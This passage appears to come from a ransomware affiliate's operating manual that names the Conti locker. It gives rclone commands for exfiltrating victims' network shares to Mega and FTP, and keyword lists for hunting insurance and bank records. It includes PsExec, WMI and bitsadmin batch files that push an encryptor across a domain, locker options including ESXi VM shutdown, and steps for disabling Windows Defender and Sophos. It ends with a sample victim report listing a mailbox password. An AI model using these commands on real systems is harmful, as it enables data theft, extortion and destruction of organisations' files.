After we have found network shares we are interested in, we upload exe and the config to the target PC with the rights to hide the config and exe so that they are not found, open directory with exe and run command: ---------- Samples:

shell rclone.exe copy "wapa" Mega:training -q --ignore-existing

--auto-confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M

Use this ==> **shell rclone.exe copy "\\WTFINANCE.washoetribe.net\E$\FINANCE" mega:1 -q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 -**

-bwlimit 5M

shell rclone.exe copy "\\trucamtldc01\E$\Data" remote:Data -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12

shell rclone.exe copy "\\FS\"

remote:NT -q --ignore-existing --auto-confirm --multi-thread- streams 12 --transfers 12

shell rclone.exe copy "\\PETERLENOVO.wist.local\Users" ftp1:uploads/Users/ -q --ignore-existing --auto-confirm --multi-thread-streams 3 --transfers 3

shell rclone.exe copy "\\envisionpharma.com\IT\KLSHARE" Mega:Finanse -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12

\\envisionpharma.com\IT\KLSHARE Network shares we will download. Can be set as we wish, even the whole drive

Mega – config name we set in p.5 of rclone config creation

shell rclone.exe copy "\\envisionpharma.com\IT\KLSHARE"

Finanse – mega folder where data will be uploaded, will be created automatically if folder does not exist.

streams 12 --transfers 12 this is the number of simultaneous upload streams. Setting it to **maximum (12)** is not recommended because you can easily get caught

GUIDE

https://rclone.org/mega/

4.Info backup to dedicated server

Register dedicated server
Install mega sync program - **https://mega.io/sync Use the app to download the contents of the mega to the dedicated server**

5.Preparing Datapack

Visit mega using Tor. Search using keywords. We need accounting reports**. Bank statements. For 20-21 years. The newer the documents, better**. especially important: cyber insurance, corporate security policy documents.

Keywords for search**:**

cyber

policy

insurance

endorsement

supplementary

underwriting

terms

bank

2020

2021

Statement

And anything that can be in area of our interest.
always, whoever is downloading information prepares a datapack at same time
immediately backs up the information to the mega
and prepare a full listing of all information!

Stage III. Lock

1. Creating batch file, which will be propagated and run across entire Domain.

Batch file, which will propagate across entire domain.

Save as **"COPY.BAT"**
start PsExec.exe /accepteula @C:\share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c COPY "\\PRIMARY DOMAIN CONTROLLER\share$\fx166.exe" "C:\windows\temp\"

Creating a batch file to run across the whole domain
Save as **"EXE.BAT"**

start PsExec.exe -d @C:\share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c c:\windows\temp\fx166.exe

Preparing WMI batch file to copy and run across the whole domain Save as "WMI.BAT"
start wmic /node:@C:\share$\comps1.txt /user:"DOMAIN\Administrator" /password:"PASSWORD" process call create "cmd.exe /c bitsadmin /transfer fx166 \\DOMAIN CONTROLLER share$\fx166.exe %APPDATA%\fx166.exe&%APPDATA%\fx166.exe"

Startup parameters of the locker for unix/linux version

--path

When this option is used, the locker encrypts files on the specified path. Required parameter, without it will not lock anything.

./encryptor --path /path

--prockiller

Kills all processes that block access to files.

./encryptor --path /path --prockiller

--log

Includes log of all actions and errors

./encryptor --path /path --log /root/log.txt --vmkiller(Only for **esxi**)

Will turn of all VM machines

--vmlist(Only for **esxi**)
Sets a file with a list of virtual machines that should not be turned off. One **string per VM.**
./encryptor --path /path --vmkiller --vmlist /tmp/list.txt

--detach

Detaches the process from terminal.
In case of **ssh session disconnect locker will continue and will not break files**

ESXi version SHOULD BE REQUESTED separately

LOCK

LOCKER
1.exe -nolan use by default (will lock only local drives... can still get into network drives (lock sucker!)) **1.exe -nolocal** (will lock only connected network drives)

If it doesn't run properly somewhere, I need: OS, kernel version and the version of **glibc**

/lib64/libc.so.6

1.exe -fast (without terminating processes that use files, and without deleting Shadow copies˘)

1.exe -full (Will lock everything!!! Dangerous! Use it only on faggits)

1.exe -path "\\ip" (specified path to the folder, also on the other PC **"\\192.168.0.1\c$\folder")**

MASS_LOCK of the network: (will lock only drive [C] on all PC's): **MASS_LOCK:**

psexec.exe

psexec.exe

psexec.exe

\\%0 -s

\\%0 -s

\\%0 -d

-d -i -c -f uac.bat

-d -i -c -f defoff.bat

-i -c -f 1.exe

2. Disabling :

gpedit.msc

Go to Computer Configuration - Administrative Templates - Windows Components - Windows Defender, Find the "Real-time protection" item
Select "Disable real-time protection" and change it to "Enabled"

Enter **cmd gpupdate /force**

Not manually:

powershell Set-MpPreference -DisableRealtimeMonitoring $true

or

New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD - Force

And one more variant

Open Gmer or alternatives - disable the mspeng process \or go to the file location, delete the file itself.

Sophos

You need local admin rights.

Upload Gmer on the target, run it, go to the **Processes tab, find and remove all Sophos processes.**

After that we wait ~15-20 seconds and see the notification about sofos service shutdown. The sofos icon should disappear.

Then go to the Files tab and find the folder with sofos and try to remove the .exe files, first of all delete all .exe files in the folder File Scanner, and then all other folders.

Then start Pchunter and go to the Services tab and from there remove the sofos services.

Then go to the Files tab (desirable, but not required) and there already completely remove sofos folders, select Force Delete (does not always work).

3. Running batch files

Go to the C:\ drive and create a folder called "share$" Share this folder and put our .bat files there. We also need psexec.exe and the file with which you will encrypt this domain

Run **COPY.BAT**
Waiting for all the windows to work out CMD Run **EXE.BAT**
Waiting for all the windows to work out CMD Run **WMI.BAT**
Waiting for all the windows to work out CMD

\\ Next, we need to spread the malicious dll with payload over the network and connect bots - batch files should be created here - **http://tobbot.com/data/**

copy "C:\ProgramData\BuildName.exe" "\\{1}\c$\ProgramData\BuildName.exe"

wmic /node:{1} process call create "rundll32.exe C:\ProgramData\2.dll StartW"

copy.bat
copy "C:\ProgramData\2.dll" "\\192.168.3.11\c$\ProgramData\2.dll" copy "C:\ProgramData\2.dll" "\\192.168.3.14\c$\ProgramData\2.dll" copy "C:\ProgramData\2.dll" "\\192.168.3.18\c$\ProgramData\2.dll" copy "C:\ProgramData\2.dll" "\\192.168.3.21\c$\ProgramData\2.dll" copy "C:\ProgramData\2.dll" "\\192.168.3.27\c$\ProgramData\2.dll" copy "C:\ProgramData\2.dll" "\\192.168.3.4\c$\ProgramData\2.dll"

4. Checking the result of the batch files

Go to each workstation via RDP and check how the file worked (if the file does not exist, copy it from your Windows via RDP to the server and run it)

5. Manual start of the locker

Starting the locker manually // 6. Preparing report

Sample:

==========

https://www.zoominfo.com/c/labranche-therrien-daoust-lefrancois/414493394

Website: ltdl.ca

1398 Servers 9654 Works – All locked in Mega:
Ulfayjhdtyjeman@outlook.com u4naY[pclwuhkpo5iW

25000GB info

Labranche Therrien Daoust Lefrançois - financiers/accountants Revenue: $985 Million
Locker: Conti
Case from botnet

---BEGIN ID--- i0KrUPg8RSrFuPPr16C931X2rS04c4892ZR1fNVfhmrmVXtOlxYisSzBJHvksbzI
==========

IV Miscellaneous